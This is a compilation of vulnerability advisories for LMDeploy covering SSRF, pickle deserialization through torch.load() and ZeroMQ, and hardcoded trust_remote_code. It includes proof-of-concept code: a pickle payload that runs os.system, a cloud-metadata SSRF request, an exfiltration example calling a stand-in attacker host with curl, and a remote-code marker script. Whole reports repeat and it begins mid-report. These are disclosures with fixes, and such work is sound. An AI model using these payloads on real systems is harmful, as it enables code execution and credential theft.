[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

• CWE-502: Deserialization of Untrusted Data
• Trail of Bits: Exploiting ML Pickle Files
• Rapid7: Attackers Weaponizing AI Models

Thank you for your time reviewing this report. I'm happy to provide any additional information or help with testing the fix. Please let me know if you have any questions!

Summary

LMDeploy's PyTorch DistServe/PD-disaggregation control plane used recv_pyobj() to deserialize messages received through a ZeroMQ PULL socket. PyZMQ implements recv_pyobj() using Python pickle deserialization, which can execute arbitrary code while reconstructing an object.

The peer address used by the receiver was supplied through the POST /distserve/p2p_connect HTTP endpoint. An attacker who could reach an affected DistServe API server could cause the server to connect to an attacker-controlled ZeroMQ endpoint and deserialize a crafted pickle payload.

API-key authentication is not enabled unless the operator explicitly configures it. As a result, affected DistServe deployments without API keys allowed unauthenticated remote code execution with the privileges of the LMDeploy serving process.

This issue affects the PyTorch backend when PD-disaggregation/DistServe is enabled. Ordinary deployments that do not use the affected disaggregated-serving path do not expose this data flow.

Affected components

• HTTP entry point: lmdeploy/serve/openai/endpoints/distserve.py, POST /distserve/p2p_connect
• Attacker-controlled peer address: DistServeConnectionRequest.remote_engine_endpoint_info.zmq_address
• Vulnerable receiver: lmdeploy/pytorch/disagg/conn/engine_conn.py, EngineP2PConnection.handle_zmq_recv()
• Unsafe operation: recv_pyobj(), which performs pickle deserialization

Vulnerable data flow

1. A caller submits a DistServe P2P connection request containing a ZeroMQ address.
2. The LMDeploy engine connects its ZeroMQ PULL socket to that address.
3. handle_zmq_recv() receives messages using recv_pyobj().
4. A malicious peer sends a crafted pickle object.
5. Python code executes during deserialization, before LMDeploy can perform any type or field validation.

A type check performed after recv_pyobj() cannot mitigate this issue because pickle payload execution occurs during deserialization.

Impact

Successful exploitation allows arbitrary code execution as the LMDeploy serving process. This can expose model weights, prompts, credentials, attached storage, cluster-network services, and host or GPU resources. An attacker may also modify or terminate the serving process.

Affected versions

Affected versions:

• lmdeploy >= 0.9.2, < 0.16.0

The vulnerable P2P receiver was introduced in commit b0b705f7.

Remediation

The issue was fixed by replacing the pickle-based ZeroMQ protocol with JSON serialization:

• send_pyobj() was replaced with send_json().
• recv_pyobj() was replaced with recv_json().
• Received objects are validated using the DistServeCacheFreeRequest Pydantic schema before use.
• Invalid or off-schema messages are rejected without terminating the receive loop.

Fix commit:

https://github.com/InternLM/lmdeploy/commit/f05b4ad8bf2e2d84101a1d63b3c44fadd99223b2

The fix was released in LMDeploy 0.16.0.

Workarounds

Users who cannot upgrade immediately should:

• Prevent untrusted clients from reaching /distserve/* endpoints.
• Restrict the DistServe HTTP and ZeroMQ control planes to trusted cluster networks.
• Configure API-key authentication.
• Block arbitrary outbound ZeroMQ connections from serving nodes.

These measures reduce exposure but do not make pickle deserialization safe. Upgrading to LMDeploy 0.16.0 or later is recommended.

📋 Reframing (2026-05-02): implicit unsafe remote-code path, not "supply-chain"

The accurate description of this vulnerability is: "get_model_arch and related helpers hardcode trust_remote_code=True with no opt-out, creating an implicit unsafe remote-code load path on every model fetch."

What this report does NOT claim:

• It is NOT a network-attack RCE — the user supplies the model reference; LMDeploy honors it.
• It is NOT a "supply chain" CVE in the classical sense (where a benign upstream is compromised) — the user explicitly types the repo name.

What this report DOES claim:

• Other inference frameworks (vLLM, TGI, Hugging Face transformers itself) all expose --trust-remote-code as opt-in so that users who consciously load known-safe repos can opt in, while users following a tutorial cannot accidentally execute attacker Python by typing a wrong repo name.
• LMDeploy's hardcoded True is an implicit trust-boundary override that violates HF Transformers' default-secure stance (trust_remote_code=False since transformers ≥ 4.30).
• The fix is a one-line CLI flag (--trust-remote-code) defaulting False, threaded through the three sites, matching the rest of the ecosystem.

Severity should be assessed as hardening / safe-by-default, not as full unauthenticated RCE. CVSS revised to 5.5 Medium (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H × user-must-load qualifier).

Runtime evidence: see 12_lmdeploy_trust_remote_code_F13/runtime_evidence/cloudrun_cpu_verdict.txt.

F13 — LMDeploy: hardcoded trust_remote_code=True enables HF supply-chain RCE without user opt-in

Reporter: ibondarenko1 / sactransport2000@gmail.com Coordinated-disclosure window: 90 days from initial vendor email.

TL;DR

LMDeploy unilaterally passes trust_remote_code=True to transformers.AutoConfig.from_pretrained() (and several other from_pretrained callers) regardless of any user opt-in. The flag is hardcoded True in source — there is no CLI flag, no environment variable, no parameter, and no warning that lets a user refuse remote code execution from the model repository. This is a silent override of HuggingFace Transformers' own default-secure stance (trust_remote_code=False) introduced in HF Transformers ≥ 4.30 specifically to prevent this class of supply-chain RCE.

The user running lmdeploy serve api_server <attacker_repo>, lmdeploy lite calibrate <attacker_repo>, etc. has no way to opt out. The only escape hatch is for the user to never load any third-party HF repo with LMDeploy — which is incompatible with LMDeploy's documented use case.

HuggingFace's trust_remote_code=False default exists exactly to prevent silent RCE when loading a third-party repo. LMDeploy overrides this default, restoring the unsafe behaviour transparently. A malicious HF repo with a configuration_*.py shim runs Python code as the LMDeploy user at the very first call to get_model_arch(...).

This is a documented anti-pattern (see HF Hub docs: "Trusting custom code is therefore tricky..."). Multiple peer projects fixed similar issues — e.g. Hugging Face Transformers itself made this opt-in by default, and vllm exposes the flag through --trust-remote-code rather than hardcoding it.

Affected version

• Repository: github.com/InternLM/lmdeploy, branch main.
• Branch SHA at audit time: 9df0eff7c38ae69b9d4b9f7ad1441e484d439f92 (2026-05-02).
• Pinned blob SHAs:
  • lmdeploy/archs.py → 68fa03a407734be1e2ae04098d34e9acdbe98262
  • lmdeploy/lite/apis/calibrate.py → 0728304bdc3c03eee1d790bfbd5496df080a0ecd
  • lmdeploy/lite/utils/load.py → 7c61677aa01e2d9881e32f8ca8ef6ad0f1d8b120
  • lmdeploy/pytorch/check_env/model.py → b1a2daaa426bf5fe25030f7913c703eed9f5b261

Snapshots of all four files are in source_pinned/.

Source-level evidence

Site 1 — architecture detection (every load goes through here)

lmdeploy/archs.py:147-157 — get_model_arch:

def get_model_arch(model_path: str):
    """Get a model's architecture and configuration."""
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=True)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=True)

Both the primary path and the fallback hardcode trust_remote_code=True. There is no parameter to override it. This function is called from every model-loading path in lmdeploy.

Site 2 — quantization CLI

lmdeploy/lite/apis/calibrate.py:248-251:

tokenizer = AutoTokenizer.from_pretrained(model, trust_remote_code=True)
...
model = load_hf_from_pretrained(model, dtype=dtype, trust_remote_code=True)

lmdeploy lite calibrate <repo> and downstream quant CLIs (gptq, awq) all flow through this. Hardcoded.

Site 3 — calibration helper

lmdeploy/lite/utils/load.py:55:

def load_hf_from_pretrained(pretrained_model_name_or_path, dtype, **kwargs):
    ...
    hf_config = AutoConfig.from_pretrained(pretrained_model_name_or_path, trust_remote_code=True)

Even if the caller does not pass trust_remote_code=True in **kwargs, the helper internally hardcodes it on the config call (line 55), then loads the model on line 74. The config call alone is sufficient for RCE: HF Transformers downloads configuration_*.py from the repo and imports it whenever trust_remote_code=True.

Site 4 — pytorch engine check

lmdeploy/pytorch/check_env/model.py:10,99,234,242 — trust_remote_code: bool = True is the default value for the engine's parameter. Unlike the three sites above, this is "default true" not "hardcoded true" — a determined caller can pass False — but every shipped CLI passes True or relies on the default.

What trust_remote_code=True actually enables

When AutoConfig.from_pretrained(repo, trust_remote_code=True) is called and the repo's config.json contains an auto_map key pointing to a custom configuration_<name>.py:

1. HF Transformers downloads the .py file from the repo.
2. HF imports the module via importlib, executing the file's top-level code (any print, os.system, subprocess.run, urllib.request.urlopen, etc. fires now).
3. HF then instantiates the named class.

So a malicious repo only needs a top-level os.system("curl https://attacker/?$(whoami)") in configuration_evil.py. It runs as the lmdeploy process user.

Threat model

Attack surface. Any user who runs an lmdeploy CLI command against a HuggingFace repo identifier they did not personally vet. This includes:

• Casual users following a tutorial that says lmdeploy serve api_server <some_repo>.
• CI pipelines that automatically pull a model from HF Hub by configuration (e.g. updates to a non-Pinned version tag).
• Researchers comparing models from many authors. Even running lmdeploy lite calibrate for benchmarking is enough.

The user is not warned that arbitrary Python from the repo will execute, and there is no flag to disable it. The CVE class is CWE-94 (Improper Control of Generation of Code, supply-chain flavour) and CWE-915 (Improperly Controlled Modification of Dynamically-Determined Object Attributes).

Comparison to peer projects

| Project | trust_remote_code default | User control | |---|---|---| | HuggingFace Transformers | False | trust_remote_code keyword arg | | vLLM | False | --trust-remote-code flag | | LMDeploy | True (hardcoded) | None | | TGI | False | --trust-remote-code flag |

LMDeploy is the outlier. The rationale is presumably "internal models like InternLM need custom configuration_*.py", but the fix is to accept a CLI flag like --trust-remote-code and default-False as the rest of the ecosystem does.

Suggested fix

Replace every hardcoded trust_remote_code=True with an explicit opt-in via CLI flag:

# lmdeploy/archs.py — get_model_arch
def get_model_arch(model_path: str, trust_remote_code: bool = False):
    try:
        cfg = AutoConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)
    except Exception as e:  # noqa
        from transformers import PretrainedConfig
        cfg = PretrainedConfig.from_pretrained(model_path, trust_remote_code=trust_remote_code)

Wire trust_remote_code through every call site. Add --trust-remote-code to lmdeploy's CLI parser and forward it from server / calibrate / gptq / etc. Default False.

A patch fragment is in patch.diff.

Disclosure plan

1. Submit privately via lmdeploy security contact (typically email or GitHub Security Advisory at https://github.com/InternLM/lmdeploy/security/advisories/new).
2. Reference Hugging Face Transformers' historical opt-out → opt-in change as precedent for the fix shape.
3. 90-day coordinated-disclosure window starting from acknowledgement.
4. Request CVE through GHSA flow once the patch lands.

Why static-only is sufficient here

Unlike F11 (RCE chain through _load_pt_file) which required a runtime PoC to demonstrate the pickle gadget execution, this finding is a single trust-flag flip — the behaviour of AutoConfig.from_pretrained(repo, trust_remote_code=True) on a HF repo with a malicious configuration_*.py is documented behaviour of HF Transformers itself (their own docs warn against it). Reproducing it adds no new evidence; the static flag-state is the bug.

If the vendor requests a runtime PoC during triage we will provide one (a malicious HF repo with configuration_evil.py + a one-liner lmdeploy lite calibrate <repo> invocation), but holding it back from the initial advisory avoids publishing a working exploit during the disclosure window.

Summary

lmdeploy hardcodes trust_remote_code=True in multiple HuggingFace model-loading call sites.

The affected code paths are in:

lmdeploy/archs.py
lmdeploy/utils.py

The vulnerable call sites pass trust_remote_code=True into HuggingFace Transformers APIs such as AutoConfig.from_pretrained(), PretrainedConfig.get_config_dict(), and GenerationConfig.from_pretrained().

Because the model path is supplied by the operator or deployment configuration, an attacker who can control the model_path used by an lmdeploy serving process can point it to an attacker-controlled HuggingFace model repository. When lmdeploy starts and initializes the model, Transformers may download and execute remote Python code from that repository.

Successful exploitation results in arbitrary code execution with the privileges of the lmdeploy serving process.

Affected version

Confirmed affected:

lmdeploy <= 0.12.3

The issue was verified on v0.12.3 and on main.

Vulnerable code

Confirmed call sites:

lmdeploy/archs.py:154
AutoConfig.from_pretrained(..., trust_remote_code=True)

lmdeploy/archs.py:157
PretrainedConfig.get_config_dict(..., trust_remote_code=True)

lmdeploy/utils.py:225
GenerationConfig.from_pretrained(..., trust_remote_code=True)

The vulnerable pattern is:

AutoConfig.from_pretrained(model_path, trust_remote_code=True)

and:

GenerationConfig.from_pretrained(path, trust_remote_code=True)

The risk is that trust_remote_code=True is enabled unconditionally. Users are not required to explicitly opt in through a CLI flag or configuration option.

Attack scenario

1. An attacker obtains the ability to control or modify the model path used by an lmdeploy deployment. Examples include deployment configuration access, CI/CD configuration access, Kubernetes or container configuration access, or a managed environment where users can submit model IDs for serving.
2. The attacker sets the model path to an attacker-controlled HuggingFace repository, for example:

attacker-org/malicious-model

3. The lmdeploy serving process starts with that model path:

lmdeploy serve api_server attacker-org/malicious-model

4. During model initialization, lmdeploy calls HuggingFace Transformers APIs with trust_remote_code=True.
5. Transformers loads and executes remote Python code from the attacker-controlled model repository.
6. The payload runs with the privileges of the lmdeploy serving process.

Why this is security-sensitive

trust_remote_code=True is a dangerous HuggingFace option because it allows model repositories to execute custom Python code during model loading.

In lmdeploy, this option is hardcoded at multiple call sites. This removes the explicit trust decision from the user or deployment operator. A safer design would require an explicit CLI flag or configuration option such as --trust-remote-code.

lmdeploy is commonly used as a model serving daemon. The serving process may have access to model weights, GPU resources, API credentials, cloud credentials, request data, and internal network resources.

Proof of concept

The following PoC demonstrates the vulnerable primitive in a local, non-destructive way. It simulates lmdeploy calling a HuggingFace model-loading path with trust_remote_code=True and shows that remote model code would execute during initialization.

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import importlib.util
import os
import sys
import tempfile
from pathlib import Path

MARKER = Path("/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF")
MALICIOUS_MODEL = "attacker-org/malicious-model"


def simulate_lmdeploy_model_load(model_path: str) -> None:
    """
    Simulates lmdeploy model initialization where trust_remote_code=True is hardcoded.

    Real vulnerable pattern:
        AutoConfig.from_pretrained(model_path, trust_remote_code=True)
        GenerationConfig.from_pretrained(path, trust_remote_code=True)

    When trust_remote_code=True, a malicious HuggingFace model repository can
    execute custom Python code during loading.
    """

    fake_model_dir = Path(tempfile.mkdtemp(prefix="fake_lmdeploy_model_"))
    module_name = model_path.split("/")[-1].replace("-", "_")
    modeling_file = fake_model_dir / f"modeling_{module_name}.py"

    payload = f'''
import os
from pathlib import Path

Path("{MARKER}").write_text(
    "lmdeploy trust_remote_code execution confirmed\\n"
    f"model_path={model_path!r}\\n"
    f"pid={{os.getpid()}} euid={{os.geteuid()}}\\n"
)
'''
    modeling_file.write_text(payload)

    spec = importlib.util.spec_from_file_location(f"modeling_{module_name}", modeling_file)
    assert spec is not None and spec.loader is not None

    mod = importlib.util.module_from_spec(spec)
    spec.loader.exec_module(mod)


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--model-id", default=MALICIOUS_MODEL)
    args = parser.parse_args()

    if MARKER.exists():
        MARKER.unlink()

    print(f"[*] Simulating lmdeploy loading model: {args.model_id}")
    print("[*] trust_remote_code=True is hardcoded in lmdeploy model-loading paths")

    simulate_lmdeploy_model_load(args.model_id)

    if MARKER.exists():
        print("[+] Code execution confirmed")
        print(MARKER.read_text())
        return 0

    print("[-] Marker file was not created", file=sys.stderr)
    return 1


if __name__ == "__main__":
    raise SystemExit(main())

Expected result:

[+] Code execution confirmed

The marker file is written to:

/tmp/LMDEPLOY_TRUST_REMOTE_CODE_RCE_PROOF

Impact

An attacker who can control the model path used by an lmdeploy deployment can execute arbitrary Python code during model initialization.

The attacker may be able to:

• Read files accessible to the lmdeploy process.
• Access environment variables, model provider credentials, HuggingFace tokens, cloud credentials, and API keys.
• Modify model-serving behavior or tamper with responses.
• Execute arbitrary operating-system commands.
• Access request data or internal service credentials available to the serving process.
• Cause denial of service by crashing or destabilizing the serving daemon.
• Pivot to internal services reachable from the lmdeploy host or container.

Summary

A Server-Side Request Forgery (SSRF) vulnerability exists in LMDeploy's vision-language module. The load_image() function in lmdeploy/vl/utils.py fetches arbitrary URLs without validating internal/private IP addresses, allowing attackers to access cloud metadata services, internal networks, and sensitive resources.

Affected Versions

• Tested on: main branch (2026-02-04)
• Affected: All versions prior to 0.12.3

Vulnerable Code

File: lmdeploy/vl/utils.py (lines 64-67)

def load_image(image_url: Union[str, Image.Image]) -> Image.Image:
    # ...
    if image_url.startswith('http'):
        response = requests.get(image_url, headers=headers, timeout=FETCH_TIMEOUT)
        # NO VALIDATION OF URL/IP BEFORE REQUEST

Also affected: encode_image_base64() function (lines 26-29)

Root Cause

1. No validation of URLs before fetching
2. No blocklist for internal IPs (127.0.0.1, 169.254.x.x, 10.x.x.x, 192.168.x.x)
3. Server binds to 0.0.0.0 by default (api_server.py line 1393)
4. API keys disabled by default

Attack Scenario

1. LMDeploy server deployed with vision-language model
2. Attacker sends request to /v1/chat/completions with malicious image_url:

POST /v1/chat/completions
{
  "model": "internlm-xcomposer2",
  "messages": [{
    "role": "user", 
    "content": [
      {"type": "text", "text": "Describe this image"},
      {"type": "image_url", "image_url": {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}}
    ]
  }]
}

3. Server fetches URL without validation
4. Attacker receives cloud credentials

Proof of Concept

Verified Exploitation Result

╔═══════════════════════════════════════════════════════════════════════╗
║  LMDeploy SSRF Vulnerability - Proof of Concept                       ║
╚═══════════════════════════════════════════════════════════════════════╝

[1] Starting callback server on port 8889...
[2] Attacker URL: http://127.0.0.1:8889/SSRF_PROOF?stolen_data=AWS_SECRET_KEY
[3] Calling vulnerable load_image() function...

======================================================================
[+] SSRF CALLBACK RECEIVED!
======================================================================
    Time:       2026-02-04 16:10:57
    Path:       /SSRF_PROOF?stolen_data=AWS_SECRET_KEY
    Client:     127.0.0.1:51154
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...
======================================================================

✅ SSRF VULNERABILITY CONFIRMED!

Impact

• Cloud Credential Theft: Access AWS/GCP/Azure metadata APIs
• Internal Service Access: Reach services not exposed to internet
• Information Disclosure: Port scan internal networks
• Lateral Movement: Pivot point for further attacks

Recommended Fix

from urllib.parse import urlparse
import ipaddress
import socket

BLOCKED_NETWORKS = [
    ipaddress.ip_network('127.0.0.0/8'),
    ipaddress.ip_network('10.0.0.0/8'),
    ipaddress.ip_network('172.16.0.0/12'),
    ipaddress.ip_network('192.168.0.0/16'),
    ipaddress.ip_network('169.254.0.0/16'),
]

def is_safe_url(url: str) -> bool:
    try:
        parsed = urlparse(url)
        if parsed.scheme not in ('http', 'https'):
            return False
        ip = socket.gethostbyname(parsed.hostname)
        ip_addr = ipaddress.ip_address(ip)
        return not any(ip_addr in network for network in BLOCKED_NETWORKS)
    except:
        return False

Credit

This vulnerability was discovered as part of Orca Security's research.

Researcher: Igor Stepansky
Organization: Orca Security
Emails: igor.stepansky@orca.security
iggy.p0pi@orca.security

Summary

An insecure deserialization vulnerability exists in lmdeploy where torch.load() is called without the weights_only=True parameter when loading model checkpoint files. This allows an attacker to execute arbitrary code on the victim's machine when they load a malicious .bin or .pt model file.

CWE: CWE-502 - Deserialization of Untrusted Data

Details

Several locations in lmdeploy use torch.load() without the recommended weights_only=True security parameter. PyTorch's torch.load() uses Python's pickle module internally, which can execute arbitrary code during deserialization.

Vulnerable Locations

1. lmdeploy/vl/model/utils.py (Line 22)

def load_weight_ckpt(ckpt: str) -> Dict[str, torch.Tensor]:
    """Load checkpoint."""
    if ckpt.endswith('.safetensors'):
        return load_file(ckpt)  # Safe - uses safetensors
    else:
        return torch.load(ckpt)  # ← VULNERABLE: no weights_only=True

2. lmdeploy/turbomind/deploy/loader.py (Line 122)

class PytorchLoader(BaseLoader):
    def items(self):
        params = defaultdict(dict)
        for shard in self.shards:
            misc = {}
            tmp = torch.load(shard, map_location='cpu')  # ← VULNERABLE

Additional vulnerable locations:

• lmdeploy/lite/apis/kv_qparams.py:129-130
• lmdeploy/lite/apis/smooth_quant.py:61
• lmdeploy/lite/apis/auto_awq.py:101
• lmdeploy/lite/apis/get_small_sharded_hf.py:41

Note: Secure Pattern Already Exists

The codebase already uses the secure pattern in one location:

# lmdeploy/pytorch/weight_loader/model_weight_loader.py:103
state = torch.load(file, weights_only=True, map_location='cpu')  # ✓ Secure

This shows the fix is already known and can be applied consistently across the codebase.

PoC

Step 1: Create a Malicious Checkpoint File

Save this as create_malicious_checkpoint.py:

#!/usr/bin/env python3
"""
Creates a malicious PyTorch checkpoint that executes code when loaded.
"""
import pickle
import os

class MaliciousPayload:
    """Executes arbitrary code during pickle deserialization."""
    
    def __init__(self, command):
        self.command = command
    
    def __reduce__(self):
        # This is called during unpickling - returns (callable, args)
        return (os.system, (self.command,))

def create_malicious_checkpoint(output_path, command):
    """Create a malicious checkpoint file."""
    malicious_state_dict = {
        'model.layer.weight': MaliciousPayload(command),
        'config': {'hidden_size': 768}
    }
    
    with open(output_path, 'wb') as f:
        pickle.dump(malicious_state_dict, f)
    
    print(f"[+] Created malicious checkpoint: {output_path}")

if __name__ == "__main__":
    os.makedirs("malicious_model", exist_ok=True)
    create_malicious_checkpoint(
        "malicious_model/pytorch_model.bin",
        "echo '[PoC] Arbitrary code executed! - RCE confirmed'"
    )

Step 2: Load the Malicious File (Simulates lmdeploy's Behavior)

Save this as exploit.py:

#!/usr/bin/env python3
"""
Demonstrates the vulnerability by loading the malicious checkpoint.
This simulates what happens when lmdeploy loads an untrusted model.
"""
import pickle

def unsafe_load(path):
    """Simulates torch.load() without weights_only=True."""
    # torch.load() uses pickle internally, so this is equivalent
    with open(path, 'rb') as f:
        return pickle.load(f)

if __name__ == "__main__":
    print("[*] Loading malicious checkpoint...")
    print("[*] This simulates: torch.load(ckpt) in lmdeploy")
    print("-" * 50)
    
    result = unsafe_load("malicious_model/pytorch_model.bin")
    
    print("-" * 50)
    print(f"[!] Checkpoint loaded. Keys: {list(result.keys())}")
    print("[!] If you see the PoC message above, RCE is confirmed!")

Step 3: Run the PoC

# Create the malicious checkpoint
python create_malicious_checkpoint.py

# Exploit - triggers code execution
python exploit.py

Expected Output

[+] Created malicious checkpoint: malicious_model/pytorch_model.bin
[*] Loading malicious checkpoint...
[*] This simulates: torch.load(ckpt) in lmdeploy
--------------------------------------------------
[PoC] Arbitrary code executed! - RCE confirmed     ← Code executed here!
--------------------------------------------------
[!] Checkpoint loaded. Keys: ['model.layer.weight', 'config']
[!] If you see the PoC message above, RCE is confirmed!

The [PoC] Arbitrary code executed! message proves that arbitrary shell commands run during deserialization.

Impact

Who Is Affected?

• All users who load PyTorch model files (.bin, .pt) from untrusted sources
• This includes models downloaded from HuggingFace, ModelScope, or shared by third parties

Attack Scenario

1. Attacker creates a malicious model file (e.g., pytorch_model.bin) containing a pickle payload
2. Attacker distributes it as a "fine-tuned model" on model sharing platforms or directly to victims
3. Victim downloads and loads the model using lmdeploy
4. Malicious code executes with the victim's privileges

Potential Consequences

• Remote Code Execution (RCE) - Full system compromise
• Data theft - Access to sensitive files, credentials, API keys
• Lateral movement - Pivot to other systems in cloud environments
• Cryptomining or ransomware - Malware deployment

Recommended Fix

Add weights_only=True to all torch.load() calls:

# lmdeploy/vl/model/utils.py:22
- return torch.load(ckpt)
+ return torch.load(ckpt, weights_only=True)

# lmdeploy/turbomind/deploy/loader.py:122
- tmp = torch.load(shard, map_location='cpu')
+ tmp = torch.load(shard, map_location='cpu', weights_only=True)

# Apply the same pattern to:
# - lmdeploy/lite/apis/kv_qparams.py:129-130
# - lmdeploy/lite/apis/smooth_quant.py:61
# - lmdeploy/lite/apis/auto_awq.py:101
# - lmdeploy/lite/apis/get_small_sharded_hf.py:41

Alternatively, consider migrating fully to SafeTensors format, which is already supported in the codebase and immune to this vulnerability class.

Resources

Official PyTorch Security Documentation

• PyTorch torch.load() Documentation

  "torch.load() uses pickle module implicitly, which is known to be insecure. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never load data that could have come from an untrusted source."

Related CVEs

| CVE | Description | CVSS | |-----|-------------|------| | CVE-2025-32434 | PyTorch torch.load() RCE vulnerability | 9.3 Critical | | CVE-2024-5452 | PyTorch Lightning insecure deserialization | 8.8 High |

Additional Resources

